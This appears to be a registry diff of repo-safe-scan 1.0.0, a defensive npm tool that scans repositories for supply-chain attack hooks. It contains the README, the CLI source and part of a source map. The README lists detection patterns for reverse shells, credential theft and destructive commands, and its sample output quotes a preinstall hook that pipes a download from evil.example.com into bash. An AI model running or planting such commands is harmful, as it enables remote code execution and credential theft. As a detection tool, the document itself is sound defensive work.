repo-safe-scan 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +194 -0
- package/dist/bin/cli.d.ts +3 -0
- package/dist/bin/cli.d.ts.map +1 -0
- package/dist/bin/cli.js +165 -0
- package/dist/bin/cli.js.map +1 -0
- package/dist/src/analyzers/index.d.ts +5 -0
- package/dist/src/analyzers/index.d.ts.map +1 -0
- package/dist/src/analyzers/index.js +20 -0
- package/dist/src/analyzers/index.js.map +1 -0
- package/dist/src/analyzers/jsAstAnalyzer.d.ts +3 -0
- package/dist/src/analyzers/jsAstAnalyzer.d.ts.map +1 -0
- package/dist/src/analyzers/jsAstAnalyzer.js +203 -0
- package/dist/src/analyzers/jsAstAnalyzer.js.map +1 -0
- package/dist/src/analyzers/makefileAnalyzer.d.ts +3 -0
- package/dist/src/analyzers/makefileAnalyzer.d.ts.map +1 -0
- package/dist/src/analyzers/makefileAnalyzer.js +67 -0
- package/dist/src/analyzers/makefileAnalyzer.js.map +1 -0
- package/dist/src/analyzers/nodeModulesAnalyzer.d.ts +6 -0
- package/dist/src/analyzers/nodeModulesAnalyzer.d.ts.map +1 -0
- package/dist/src/analyzers/nodeModulesAnalyzer.js +77 -0
- package/dist/src/analyzers/nodeModulesAnalyzer.js.map +1 -0
- package/dist/src/analyzers/packageAnalyzer.d.ts +3 -0
- package/dist/src/analyzers/packageAnalyzer.d.ts.map +1 -0
- package/dist/src/analyzers/packageAnalyzer.js +91 -0
- package/dist/src/analyzers/packageAnalyzer.js.map +1 -0
- package/dist/src/analyzers/shellScriptAnalyzer.d.ts +3 -0
- package/dist/src/analyzers/shellScriptAnalyzer.d.ts.map +1 -0
- package/dist/src/analyzers/shellScriptAnalyzer.js +77 -0
- package/dist/src/analyzers/shellScriptAnalyzer.js.map +1 -0
- package/dist/src/analyzers/vscodeAnalyzer.d.ts +3 -0
- package/dist/src/analyzers/vscodeAnalyzer.d.ts.map +1 -0
- package/dist/src/analyzers/vscodeAnalyzer.js +192 -0
- package/dist/src/analyzers/vscodeAnalyzer.js.map +1 -0
- package/dist/src/rules/destructive.rules.d.ts +4 -0
- package/dist/src/rules/destructive.rules.d.ts.map +1 -0
- package/dist/src/rules/destructive.rules.js +76 -0
- package/dist/src/rules/destructive.rules.js.map +1 -0
- package/dist/src/rules/execution.rules.d.ts +4 -0
- package/dist/src/rules/execution.rules.d.ts.map +1 -0
- package/dist/src/rules/execution.rules.js +83 -0
- package/dist/src/rules/execution.rules.js.map +1 -0
- package/dist/src/rules/exfiltration.rules.d.ts +4 -0
- package/dist/src/rules/exfiltration.rules.d.ts.map +1 -0
- package/dist/src/rules/exfiltration.rules.js +69 -0
- package/dist/src/rules/exfiltration.rules.js.map +1 -0
- package/dist/src/rules/obfuscation.rules.d.ts +4 -0
- package/dist/src/rules/obfuscation.rules.d.ts.map +1 -0
- package/dist/src/rules/obfuscation.rules.js +69 -0
- package/dist/src/rules/obfuscation.rules.js.map +1 -0
- package/dist/src/rules/rules.d.ts +4 -0
- package/dist/src/rules/rules.d.ts.map +1 -0
- package/dist/src/rules/rules.js +17 -0
- package/dist/src/rules/rules.js.map +1 -0
- package/dist/src/scanner.d.ts +6 -0
- package/dist/src/scanner.d.ts.map +1 -0
- package/dist/src/scanner.js +21 -0
- package/dist/src/scanner.js.map +1 -0
- package/dist/src/scoring.d.ts +3 -0
- package/dist/src/scoring.d.ts.map +1 -0
- package/dist/src/scoring.js +54 -0
- package/dist/src/scoring.js.map +1 -0
- package/dist/src/types.d.ts +44 -0
- package/dist/src/types.d.ts.map +1 -0
- package/dist/src/types.js +6 -0
- package/dist/src/types.js.map +1 -0
- package/dist/src/utils/normalizeCommand.d.ts +2 -0
- package/dist/src/utils/normalizeCommand.d.ts.map +1 -0
- package/dist/src/utils/normalizeCommand.js +13 -0
- package/dist/src/utils/normalizeCommand.js.map +1 -0
- package/package.json +52 -0
package/README.md
ADDED
|
@@ -0,0 +1,194 @@
|
|
|
1
|
+
# repo-safe-scan
|
|
2
|
+
|
|
3
|
+
> **Audit `package.json` scripts, VSCode tasks, Makefiles and shell scripts for supply-chain attack patterns — before you `npm install`.**
|
|
4
|
+
|
|
5
|
+
[](https://nodejs.org/)
|
|
6
|
+
[](LICENSE)
|
|
7
|
+
|
|
8
|
+
---
|
|
9
|
+
|
|
10
|
+
## Why?
|
|
11
|
+
|
|
12
|
+
Most security tools scan your **dependencies** for known vulnerabilities (e.g. CVEs). But attackers increasingly exploit **script execution hooks** that run automatically when you clone and install a repo:
|
|
13
|
+
|
|
14
|
+
| Vector | Risk |
|
|
15
|
+
|--------|------|
|
|
16
|
+
| `preinstall` / `postinstall` in `package.json` | Executes on every `npm install` — silently |
|
|
17
|
+
| `.vscode/tasks.json` | Auto-runs tasks when VS Code opens the folder |
|
|
18
|
+
| `.vscode/settings.json` | Can hijack your integrated terminal |
|
|
19
|
+
| `Makefile` default targets | Executes on `make` |
|
|
20
|
+
| `*.sh` scripts | Called by any of the above |
|
|
21
|
+
|
|
22
|
+
`repo-safe-scan` detects these patterns **before** you run anything, protecting your machine from reverse shells, credential exfiltration, and destructive payloads.
|
|
23
|
+
|
|
24
|
+
---
|
|
25
|
+
|
|
26
|
+
## Installation
|
|
27
|
+
|
|
28
|
+
```bash
|
|
29
|
+
# Install globally
|
|
30
|
+
npm install -g repo-safe-scan
|
|
31
|
+
|
|
32
|
+
# Or use via npx (no install needed)
|
|
33
|
+
npx repo-safe-scan /path/to/repo
|
|
34
|
+
```
|
|
35
|
+
|
|
36
|
+
---
|
|
37
|
+
|
|
38
|
+
## Usage
|
|
39
|
+
|
|
40
|
+
```bash
|
|
41
|
+
repo-safe-scan [path] [options]
|
|
42
|
+
```
|
|
43
|
+
|
|
44
|
+
### Options
|
|
45
|
+
|
|
46
|
+
| Flag | Description | Default |
|
|
47
|
+
|------|-------------|---------|
|
|
48
|
+
| `[path]` | Repository root to scan | `.` (current dir) |
|
|
49
|
+
| `--severity <level>` | Minimum severity to report: `medium` \| `high` \| `critical` | `medium` |
|
|
50
|
+
| `--include-node-modules` | Scan dependencies in `node_modules` for malicious lifecycle hooks | off |
|
|
51
|
+
| `--json` | Output findings as JSON (for CI pipelines) | off |
|
|
52
|
+
| `--no-color` | Disable colored terminal output | off |
|
|
53
|
+
| `--version` | Print version | |
|
|
54
|
+
|
|
55
|
+
### Examples
|
|
56
|
+
|
|
57
|
+
```bash
|
|
58
|
+
# Scan a locally cloned repo before installing
|
|
59
|
+
repo-safe-scan ./suspicious-package
|
|
60
|
+
|
|
61
|
+
# Scan including deeply nested dependencies
|
|
62
|
+
repo-safe-scan ./suspicious-package --include-node-modules
|
|
63
|
+
|
|
64
|
+
# Only show critical findings
|
|
65
|
+
repo-safe-scan ./suspicious-package --severity critical
|
|
66
|
+
|
|
67
|
+
# Machine-readable output for CI
|
|
68
|
+
repo-safe-scan . --json > results.json
|
|
69
|
+
```
|
|
70
|
+
|
|
71
|
+
---
|
|
72
|
+
|
|
73
|
+
## Features
|
|
74
|
+
|
|
75
|
+
### 1. Robust JavaScript AST Parsing
|
|
76
|
+
Attackers know you might be grepping for `curl` or `child_process`. They obfuscate.
|
|
77
|
+
`repo-safe-scan` includes a **JavaScript AST (Abstract Syntax Tree) Analyzer** powered by `acorn` that understands code structure. It tracks variable bindings (`const cp = require("child_process")`), object destructuring (`const { exec } = cp`), and dynamic concatenation (`require("child_" + "process")`) to accurately flag dangerous execution streams.
|
|
78
|
+
|
|
79
|
+
### 2. Command Normalization Engine
|
|
80
|
+
Before testing configured commands against security rules, commands are normalized (quotes stripped, lowercase enforced, whitespace collapsed). This neutralizes straightforward casing and spacing bypass tricks (e.g., `cUrL eViL.cOm | bAsH`).
|
|
81
|
+
|
|
82
|
+
### 3. Smart Risk Scoring System
|
|
83
|
+
The scanner computes a normalized **Repository Risk Score** out of 10.0 based on a weighted algorithm:
|
|
84
|
+
- Critical finding = `25 pts`
|
|
85
|
+
- High finding = `10 pts`
|
|
86
|
+
- Medium finding = `4 pts`
|
|
87
|
+
- Auto-executed Lifecycle Hooks (`preinstall`, etc.) = `+10 pts` bonus penalty.
|
|
88
|
+
|
|
89
|
+
### 4. Dependency Lifecycle Scanning
|
|
90
|
+
Use the `--include-node-modules` flag to hunt for supply-chain bombs hidden deep inside dependency lifecycle scripts in `node_modules/*/package.json`.
|
|
91
|
+
|
|
92
|
+
---
|
|
93
|
+
|
|
94
|
+
## What it Detects
|
|
95
|
+
|
|
96
|
+
The engine uses a modular rule system organized by category (`src/rules/`):
|
|
97
|
+
|
|
98
|
+
| Category | Examples |
|
|
99
|
+
|----------|---------|
|
|
100
|
+
| **remote-execution** | `curl \| bash`, `wget \| sh`, `Invoke-Expression` |
|
|
101
|
+
| **obfuscation** | `eval()`, `new Function()`, `base64 -d`, `fromCharCode` |
|
|
102
|
+
| **reverse-shell** | `nc -e`, `/dev/tcp/`, `socat` |
|
|
103
|
+
| **credential-theft** | Access to `~/.ssh`, `~/.aws/credentials`, `.npmrc`, `.env` |
|
|
104
|
+
| **destructive** | `rm -rf`, `del /f /q`, `format C:` |
|
|
105
|
+
| **privilege-escalation** | `sudo` in npm scripts, `chmod +x` after download |
|
|
106
|
+
| **tls-bypass** | `curl -k`, `wget --no-check-certificate` |
|
|
107
|
+
| **reconnaissance** | `whoami \|`, `ifconfig \| curl` |
|
|
108
|
+
|
|
109
|
+
---
|
|
110
|
+
|
|
111
|
+
## Output
|
|
112
|
+
|
|
113
|
+
### Terminal (default)
|
|
114
|
+
|
|
115
|
+
```
|
|
116
|
+
repo-safe-scan v1.1.0 🔍 Scanning: ./suspect-repo
|
|
117
|
+
|
|
118
|
+
📄 package.json
|
|
119
|
+
────────────────────────────────────────────────────────────
|
|
120
|
+
CRITICAL LIFECYCLE curl-pipe-shell
|
|
121
|
+
Description: Downloads and pipes content directly into a shell
|
|
122
|
+
Category: remote-execution
|
|
123
|
+
Script: preinstall
|
|
124
|
+
Command: curl http://evil.example.com/payload.sh | bash
|
|
125
|
+
|
|
126
|
+
⚠ This script runs automatically on `npm install` — no user confirmation required. This is the primary supply-chain attack vector.
|
|
127
|
+
|
|
128
|
+
════════════════════════════════════════════════════════════
|
|
129
|
+
SUMMARY 1 critical 0 high 0 medium (1 auto-executed lifecycle hooks)
|
|
130
|
+
Scanned path: ./suspect-repo
|
|
131
|
+
|
|
132
|
+
╔═════════════════════════════════════════╗
|
|
133
|
+
║ Repository Risk Score: 3.5 / 10 ║
|
|
134
|
+
║ ███████░░░░░░░░░░░░░ MODERATE ║
|
|
135
|
+
╚═════════════════════════════════════════╝
|
|
136
|
+
```
|
|
137
|
+
|
|
138
|
+
---
|
|
139
|
+
|
|
140
|
+
## Development
|
|
141
|
+
|
|
142
|
+
The project is fully written in **TypeScript**.
|
|
143
|
+
|
|
144
|
+
```bash
|
|
145
|
+
# Clone and install
|
|
146
|
+
git clone https://github.com/Chetan2708/repo-safe-scan.git
|
|
147
|
+
cd repo-safe-scan
|
|
148
|
+
npm install
|
|
149
|
+
|
|
150
|
+
# Build
|
|
151
|
+
npm run build
|
|
152
|
+
|
|
153
|
+
# Run tests
|
|
154
|
+
npm test
|
|
155
|
+
|
|
156
|
+
# Run tests with coverage
|
|
157
|
+
npm run test:coverage
|
|
158
|
+
|
|
159
|
+
# Scan the repo itself
|
|
160
|
+
npm start -- .
|
|
161
|
+
```
|
|
162
|
+
|
|
163
|
+
### Project Structure
|
|
164
|
+
|
|
165
|
+
```
|
|
166
|
+
repo-safe-scan/
|
|
167
|
+
├── bin/
|
|
168
|
+
│ └── cli.ts # CLI CLI orchestration & output rendering
|
|
169
|
+
├── src/
|
|
170
|
+
│ ├── scanner.ts # Core orchestrator
|
|
171
|
+
│ ├── scoring.ts # Risk Score logic
|
|
172
|
+
│ ├── analyzers/ # Plugable analyzer registry
|
|
173
|
+
│ │ ├── index.ts # Registry
|
|
174
|
+
│ │ ├── jsAstAnalyzer.ts # AST JS/TS parsing (eval, cp.exec)
|
|
175
|
+
│ │ ├── packageAnalyzer.ts # package.json scripts
|
|
176
|
+
│ │ ├── vscodeAnalyzer.ts # .vscode/ tasks/settings
|
|
177
|
+
│ │ ├── makefileAnalyzer.ts # Makefile targets
|
|
178
|
+
│ │ ├── shellScriptAnalyzer.ts# *.sh / *.bash
|
|
179
|
+
│ │ └── nodeModulesAnalyzer.ts# --include-node-modules scanner
|
|
180
|
+
│ └── rules/ # Modular rule definitions
|
|
181
|
+
│ ├── rules.ts # Rule aggregator
|
|
182
|
+
│ ├── destructive.rules.ts
|
|
183
|
+
│ ├── execution.rules.ts
|
|
184
|
+
│ ├── exfiltration.rules.ts
|
|
185
|
+
│ └── obfuscation.rules.ts
|
|
186
|
+
└── tests/
|
|
187
|
+
└── fixtures/ # Test repositories
|
|
188
|
+
```
|
|
189
|
+
|
|
190
|
+
---
|
|
191
|
+
|
|
192
|
+
## License
|
|
193
|
+
|
|
194
|
+
MIT © 2026
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"cli.d.ts","sourceRoot":"","sources":["../../bin/cli.ts"],"names":[],"mappings":""}
|
package/dist/bin/cli.js
ADDED
|
@@ -0,0 +1,165 @@
|
|
|
1
|
+
#!/usr/bin/env node
|
|
2
|
+
"use strict";
|
|
3
|
+
var __importDefault = (this && this.__importDefault) || function (mod) {
|
|
4
|
+
return (mod && mod.__esModule) ? mod : { "default": mod };
|
|
5
|
+
};
|
|
6
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
7
|
+
const path_1 = __importDefault(require("path"));
|
|
8
|
+
const commander_1 = require("commander");
|
|
9
|
+
const chalk_1 = __importDefault(require("chalk"));
|
|
10
|
+
const scanner_1 = require("../src/scanner");
|
|
11
|
+
// Resolve package.json relative to the compiled file's location at runtime
|
|
12
|
+
// Works correctly from both bin/ (ts-node) and dist/bin/ (node)
|
|
13
|
+
// eslint-disable-next-line @typescript-eslint/no-var-requires
|
|
14
|
+
const { version } = require(path_1.default.resolve(__dirname, "../../package.json"));
|
|
15
|
+
const SEVERITY_ORDER = {
|
|
16
|
+
medium: 1,
|
|
17
|
+
high: 2,
|
|
18
|
+
critical: 3,
|
|
19
|
+
};
|
|
20
|
+
const SEVERITY_ICONS = {
|
|
21
|
+
critical: chalk_1.default.bgRed.white.bold(" CRITICAL "),
|
|
22
|
+
high: chalk_1.default.bgYellow.black.bold(" HIGH "),
|
|
23
|
+
medium: chalk_1.default.bgBlue.white.bold(" MEDIUM "),
|
|
24
|
+
};
|
|
25
|
+
const SEVERITY_COLORS = {
|
|
26
|
+
critical: chalk_1.default.red.bold,
|
|
27
|
+
high: chalk_1.default.yellow.bold,
|
|
28
|
+
medium: chalk_1.default.cyan.bold,
|
|
29
|
+
};
|
|
30
|
+
function isSeverity(value) {
|
|
31
|
+
return value === "medium" || value === "high" || value === "critical";
|
|
32
|
+
}
|
|
33
|
+
commander_1.program
|
|
34
|
+
.name("repo-safe-scan")
|
|
35
|
+
.description("Audit package.json scripts, VSCode tasks, Makefiles and shell scripts for supply-chain attack patterns")
|
|
36
|
+
.version(version)
|
|
37
|
+
.argument("[path]", "Path to repository root", ".")
|
|
38
|
+
.option("--json", "Output findings as JSON (machine-readable, for CI)")
|
|
39
|
+
.option("--severity <level>", "Minimum severity to report: medium | high | critical", "medium")
|
|
40
|
+
.option("--include-node-modules", "Scan dependencies in node_modules for malicious lifecycle hooks")
|
|
41
|
+
.option("--no-color", "Disable colored output")
|
|
42
|
+
.action(async (repoPath, options) => {
|
|
43
|
+
const minSeverity = options.severity.toLowerCase();
|
|
44
|
+
if (!isSeverity(minSeverity)) {
|
|
45
|
+
console.error(chalk_1.default.red(`Invalid severity "${minSeverity}". Use: medium, high, or critical`));
|
|
46
|
+
process.exit(2);
|
|
47
|
+
}
|
|
48
|
+
// ── Run Scan ─────────────────────────────────────────────────────────
|
|
49
|
+
let result;
|
|
50
|
+
try {
|
|
51
|
+
result = await (0, scanner_1.scanRepo)(repoPath, { includeNodeModules: options.includeNodeModules });
|
|
52
|
+
}
|
|
53
|
+
catch (err) {
|
|
54
|
+
console.error(chalk_1.default.red(`\nFatal error during scan: ${err.message}`));
|
|
55
|
+
process.exit(2);
|
|
56
|
+
}
|
|
57
|
+
const { findings, riskScore } = result;
|
|
58
|
+
// ── Filter by severity ────────────────────────────────────────────────
|
|
59
|
+
const minScore = SEVERITY_ORDER[minSeverity];
|
|
60
|
+
const filtered = findings.filter((f) => {
|
|
61
|
+
const sev = f.rule.severity;
|
|
62
|
+
return (SEVERITY_ORDER[sev] ?? 0) >= minScore;
|
|
63
|
+
});
|
|
64
|
+
// ── Sort: critical → high → medium, lifecycle first ───────────────────
|
|
65
|
+
filtered.sort((a, b) => {
|
|
66
|
+
const sevDiff = (SEVERITY_ORDER[b.rule.severity] ?? 0) -
|
|
67
|
+
(SEVERITY_ORDER[a.rule.severity] ?? 0);
|
|
68
|
+
if (sevDiff !== 0)
|
|
69
|
+
return sevDiff;
|
|
70
|
+
return b.lifecycle ? 1 : -1;
|
|
71
|
+
});
|
|
72
|
+
// ── JSON output ───────────────────────────────────────────────────────
|
|
73
|
+
if (options.json) {
|
|
74
|
+
process.stdout.write(JSON.stringify({ scannedPath: repoPath, riskScore, findings: filtered }, null, 2) + "\n");
|
|
75
|
+
if (filtered.length > 0)
|
|
76
|
+
process.exitCode = 1;
|
|
77
|
+
return;
|
|
78
|
+
}
|
|
79
|
+
// ── Pretty output ─────────────────────────────────────────────────────
|
|
80
|
+
console.log(chalk_1.default.bold.white(`\n repo-safe-scan`) +
|
|
81
|
+
chalk_1.default.gray(` v${version}`) +
|
|
82
|
+
` 🔍 Scanning: ${chalk_1.default.cyan(repoPath)}\n`);
|
|
83
|
+
if (filtered.length === 0) {
|
|
84
|
+
console.log(chalk_1.default.green(" ✔ No suspicious patterns found") +
|
|
85
|
+
chalk_1.default.gray(` (severity >= ${minSeverity})\n`));
|
|
86
|
+
console.log(chalk_1.default.gray(` ${"═".repeat(50)}`));
|
|
87
|
+
console.log(` ${chalk_1.default.bold("Repository Risk Score:")} ${chalk_1.default.green.bold(riskScore.score + " / 10")} ${chalk_1.default.bgGreen.black.bold(" " + riskScore.label + " ")}\n`);
|
|
88
|
+
return;
|
|
89
|
+
}
|
|
90
|
+
// Group by file
|
|
91
|
+
const byFile = new Map();
|
|
92
|
+
for (const finding of filtered) {
|
|
93
|
+
if (!byFile.has(finding.file))
|
|
94
|
+
byFile.set(finding.file, []);
|
|
95
|
+
byFile.get(finding.file).push(finding);
|
|
96
|
+
}
|
|
97
|
+
for (const [file, fileFindings] of byFile) {
|
|
98
|
+
console.log(chalk_1.default.bold.white(` 📄 ${file}`));
|
|
99
|
+
console.log(chalk_1.default.gray(" " + "─".repeat(60)));
|
|
100
|
+
for (const finding of fileFindings) {
|
|
101
|
+
const sev = finding.rule.severity;
|
|
102
|
+
const icon = SEVERITY_ICONS[sev] ?? chalk_1.default.gray(" UNKNOWN ");
|
|
103
|
+
const colorFn = SEVERITY_COLORS[sev] ?? chalk_1.default.white;
|
|
104
|
+
const lifecycleBadge = finding.lifecycle
|
|
105
|
+
? chalk_1.default.bgMagenta.white.bold(" LIFECYCLE ") + " "
|
|
106
|
+
: "";
|
|
107
|
+
console.log(`\n ${icon} ${lifecycleBadge}${colorFn(finding.rule.id)}`);
|
|
108
|
+
console.log(` ${chalk_1.default.gray("Description:")} ${finding.rule.description}`);
|
|
109
|
+
console.log(` ${chalk_1.default.gray("Category: ")} ${finding.rule.category}`);
|
|
110
|
+
if (finding.scriptName) {
|
|
111
|
+
console.log(` ${chalk_1.default.gray("Script: ")} ${finding.scriptName}`);
|
|
112
|
+
}
|
|
113
|
+
if (finding.command) {
|
|
114
|
+
const truncated = finding.command.length > 120
|
|
115
|
+
? finding.command.slice(0, 117) + "..."
|
|
116
|
+
: finding.command;
|
|
117
|
+
console.log(` ${chalk_1.default.gray("Command: ")} ${chalk_1.default.red(truncated)}`);
|
|
118
|
+
}
|
|
119
|
+
if (finding.detail) {
|
|
120
|
+
console.log(` ${chalk_1.default.gray("Detail: ")} ${finding.detail}`);
|
|
121
|
+
}
|
|
122
|
+
if (finding.lifecycleMessage) {
|
|
123
|
+
console.log(`\n ${chalk_1.default.yellow.dim(" " + finding.lifecycleMessage)}`);
|
|
124
|
+
}
|
|
125
|
+
}
|
|
126
|
+
console.log();
|
|
127
|
+
}
|
|
128
|
+
// ── Summary ───────────────────────────────────────────────────────────
|
|
129
|
+
const critCount = filtered.filter((f) => f.rule.severity === "critical").length;
|
|
130
|
+
const highCount = filtered.filter((f) => f.rule.severity === "high").length;
|
|
131
|
+
const medCount = filtered.filter((f) => f.rule.severity === "medium").length;
|
|
132
|
+
const lifecycleCount = filtered.filter((f) => f.lifecycle).length;
|
|
133
|
+
console.log(chalk_1.default.gray(" " + "═".repeat(60)));
|
|
134
|
+
console.log(` ${chalk_1.default.bold("SUMMARY")} ` +
|
|
135
|
+
chalk_1.default.red.bold(`${critCount} critical`) +
|
|
136
|
+
" " +
|
|
137
|
+
chalk_1.default.yellow.bold(`${highCount} high`) +
|
|
138
|
+
" " +
|
|
139
|
+
chalk_1.default.cyan.bold(`${medCount} medium`) +
|
|
140
|
+
(lifecycleCount > 0
|
|
141
|
+
? " " +
|
|
142
|
+
chalk_1.default.magenta.bold(`(${lifecycleCount} auto-executed lifecycle hooks)`)
|
|
143
|
+
: ""));
|
|
144
|
+
console.log(chalk_1.default.gray(` Scanned path: ${repoPath}`) + "\n");
|
|
145
|
+
// ── Risk Score ────────────────────────────────────────────────────────
|
|
146
|
+
let rsColor = chalk_1.default.green;
|
|
147
|
+
if (riskScore.label === "CRITICAL")
|
|
148
|
+
rsColor = chalk_1.default.red;
|
|
149
|
+
else if (riskScore.label === "HIGH")
|
|
150
|
+
rsColor = chalk_1.default.yellow;
|
|
151
|
+
else if (riskScore.label === "MODERATE")
|
|
152
|
+
rsColor = chalk_1.default.cyan;
|
|
153
|
+
const barLength = 20;
|
|
154
|
+
const filledLength = Math.round((riskScore.score / 10) * barLength);
|
|
155
|
+
const filled = "█".repeat(filledLength);
|
|
156
|
+
const empty = "░".repeat(barLength - filledLength);
|
|
157
|
+
const bar = rsColor(filled) + chalk_1.default.gray(empty);
|
|
158
|
+
console.log(chalk_1.default.bold.white(` ╔═════════════════════════════════════════╗`));
|
|
159
|
+
console.log(chalk_1.default.bold.white(` ║ Repository Risk Score: ${rsColor.bold(riskScore.score.toFixed(1) + " / 10".padEnd(5))} ║`));
|
|
160
|
+
console.log(chalk_1.default.bold.white(` ║ ${bar} ${rsColor.bold(riskScore.label.padEnd(8))} ║`));
|
|
161
|
+
console.log(chalk_1.default.bold.white(` ╚═════════════════════════════════════════╝\n`));
|
|
162
|
+
process.exitCode = 1;
|
|
163
|
+
});
|
|
164
|
+
commander_1.program.parse();
|
|
165
|
+
//# sourceMappingURL=cli.js.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"cli.js","sourceRoot":"","sources":["../../bin/cli.ts"],"names":[],"mappings":"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